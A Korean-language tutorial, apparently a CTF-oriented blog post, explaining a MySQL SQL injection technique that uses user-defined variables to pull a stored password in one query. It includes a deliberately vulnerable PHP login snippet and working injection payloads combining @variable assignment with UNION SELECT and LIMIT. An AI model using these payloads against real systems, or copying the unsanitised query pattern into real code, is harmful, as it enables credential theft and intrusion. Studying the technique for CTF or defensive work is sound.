SQL Injection using User Defined Variable
사용자 정의 변수를 이용한 SQL injection 기법(거의 문제 풀이용…)
Syntax[refer]
SELECT @UDV := 'String', @UDV := Numeric
OR
SET @UDV := 'String'
SELECT * FROM Table WHERE 'Column'=@UDV
MySQL에선 “사용자 정의 변수“를 지원한다. 기본적인 문법은 “@변수명
“이고 “:= 값
“연산자로 변수에 값을 넣을 수 있다.
하지만 이 변수 선언이 WHERE절 에서도 가능하다는 점이 이 글의 중점이다.
아래와 같은 구조와 데이터를 가진 DB가 있다고 하자.
이때 인증 방식이 아래와 같다.
<?php $sql = "SELECT `id` FROM `users` WHERE `id`='{$_GET[id]}' and `pw`='{$_GET[pw]}'"; $result = mysql_query($sql); $row = @mysql_fetch_array($result); if( isset($row['id']) ) { echo "<h1>Welcome! $result['id']</h1>"; } $_GET['pw'] = addslashes($_GET['pw']); // stupid security $sql = "SELECT `id` FROM `users` WHERE `id`='admin' and `pw`='{$_GET[pw]}'"; // R U Admin? $result = mysql_query($sql); $row = @mysql_fetch_array($result); if( isset($row['pw']) && ($row['pw'] === $_GET['pw'])) { echo "<h1> $IMPORTANT_DATA </h1>"; }
1 ~ 8번째 줄까지는 입력된 id와 pw를 사용해 불러온 id를 “Welcome! {id}”으로 출력 시켜준다.
게다가 그 어떠한 필터링 처리도 되어 있지 않다.
하지만 10번째 줄 이후 부터는 싱글 쿼터를 막는 addslashes
함수가 사용되어 12번째 SQL 문장을 공격 할 수 없다.
게다가 12번째 줄부터는 admin 계정에 대한 정보 인증인데,
입력한 pw가 DB에 있는 pw와 일치하지 않으면, $IMPORTANT_DATA
를 표시 하지 않는다.
보통 이러한 경우 Blind SQL injection을 이용해 pw의 값을 찾아낼 수 있다.
하지만 사용자 정의 변수(User Defined Variable)를 이용하면 한번에 해결 할 수 있다.
사용자 정의 변수 사용
SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw #}'
쿼리를 해석하면 WHERE id='admin' and
pw='
는 FALSE이기 때문에 모두 무시된다.
하지만 @sil := pw
부분은 사용자 정의 변수가 선언 되었기 때문에 TRUE를 반환한다.
즉, SQL 쿼리가 참이 되면서 모든 id 값이 나오게 된다. 그리고 해당 결과 값으로 우리가 보는 페이지에는
출력: Welcome! guest
가 뜨게 된다.
이때 UNION SELECT
를 이용해 우리가 저장한 pw 값을 불러 올 수 있다.
SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw UNION SELECT @sil#}'
옆 이처럼 제일 아랫부분에 PW 값이 뜨는 걸 볼 수 있다!
하지만 이는 제일 아래 있기 때문에
출력: Welcome! guest
출력 제일 위로 올려줘야 하고, 출력 될 pw 값을 admin의 pw로 바꿔주기 위해 쿼리를 수정 해야 한다.
최종 쿼리
SELECT id FROM users WHERE id='admin' and pw='{ ' or id='admin' and @sil := pw UNION SELECT @sil limit 1,1#}'
limit이 없을 때 결과
출력: Welcome! admin
Limit으로 admin의 pw 값만 뽑아낸 결과
출력: Welcome! 21232f…
이 방식의 가장 큰 이점은 blind SQLi 를 통해 일일히 구해야 하는 pw값을 빠르게 찾을 수 있다는 것이다.